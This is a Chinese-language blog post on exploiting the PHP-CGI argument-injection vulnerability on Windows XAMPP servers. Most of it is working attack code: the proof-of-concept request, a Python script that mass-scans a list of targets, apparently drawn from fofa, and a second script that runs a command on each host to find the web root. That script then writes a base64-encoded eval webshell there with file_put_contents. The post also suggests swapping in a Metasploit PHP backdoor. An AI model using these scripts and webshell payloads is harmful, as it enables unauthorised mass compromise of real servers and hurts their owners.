php-cgi漏洞利用

php-cgi漏洞利用

对喽,这里只是关于这个漏洞的利用方式,具体分析的可以看,先知社区

poc

c 复制代码
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input
REDIRECT-STATUS: 1

这个漏洞出来的有些久了,那就先来写个简单的批量检测脚本(找个大冤种测试)

pythonimport 复制代码
# 目标URL
import requests

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
        if "text" in response.text:
            print(url.replace('\n', '')+"存在漏洞")
    except:
        print(url.replace('\n', '') + "不存在漏洞")

这里有两种检测方式,第一种是通过检测返回包中的特定字符,第二种是通过网站状态码进行检测,都能找到大冤种,字典的话,通过fofa语法提取一些即可

那么也是找到了一个大冤种,

首先通过执行命令的方式找一下webshell应该存放的目录

这里网站的根目录也就是C:\\xampp\\htdocs\\,也就是xampp的默认目录,

配合file_put_contents方法,上传一句话木马,那么就是

c 复制代码
<?php file_put_contents("C:\\xampp\\htdocs\\phpinfo.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="))

这会出现几个问题首先phpinfo.php如果在目录下存在的话,就无法写入,其次就是一句话木马的查杀问题,

当然了,如果不是默认路径的话,最简单的利用方式就是换盘符,也就是CDEFG都访问一下,那么写个py脚本,直接利用

c 复制代码
import requests
import re

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
            data1='<?php system("chdir")?>'
            response = requests.post(urls, data=data1, proxies=proxies, headers=headers, verify=False)
            pattern = r"[A-Za-z]:\\(?:[^\\\/:*?\"<>|]+\\)*[^\\\/:*?\"<>|]*"
            lujing=re.findall(pattern,response.text)
            path=lujing[0].replace("php","htdocs\\phpin.php").replace("\\","\\\\")
            data2= '<?php file_put_contents('+path+', base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4="));?>'
            response = requests.post(urls, data=data2, proxies=proxies, headers=headers, verify=False)
            response = requests.post(urls+"/phpin.fo",proxies=proxies, verify=False)
            if response.status_code==200:
                print(urls+"/phpin.fo")
    except:
        continue

代理我这边设置的是burp中转小飞机,使用的话,自行测试一下即可

第二种方法

msf生成php后门,然后直接替换POST中data的木马,但是这种模式有很大的局限性,回连是可以回连,执行命令等情况,经常会断开,可能是因为php不能够重复执行命令的原因

相关推荐
hz567895 小时前
涉密视频会议设备配置指南:终端、音视频采集与配套设施选型
服务器·网络·数据库·安全·实时音视频·信息与通信·智能硬件
优橙教育5 小时前
零基础学AI应用开发要多久?3个月能到什么水平
服务器·开发语言·网络·php
浮链序6 小时前
怎么证明"你这个模型是偷我的"——把蒸馏变成取证工具
算法·安全·llm
袁哥大话安全7 小时前
巡隐WEBSHELL扫描软件
人工智能·安全·web
小宋10217 小时前
A2UI从零实战:Agent安全生成交互界面与事件回传
javascript·人工智能·安全·交互
草根大哥7 小时前
04-推拉流安全:签名、Token 与防盗链
安全·成本·延迟·自建cdn·ppcdn
云老大-阿里云国际站代理商8 小时前
腾讯云国际站服务代理商:EdgeOne怎么做网站安全?WAF、DDoS和Bot防护分别解决什么问题
安全·腾讯云·ddos
万联WANFLOW8 小时前
从 ARTEX 事件看 AI Agent 安全:工具调用链为何成为新的风险入口?
人工智能·安全·测试
草根大哥8 小时前
02-自建 CDN 架构总览:控制面与媒体面分离
安全·成本·延迟·自建cdn·ppcdn
郭萌6969 小时前
多商户平台的优惠券,真正的设计对象是「适用范围」而不是券模板
php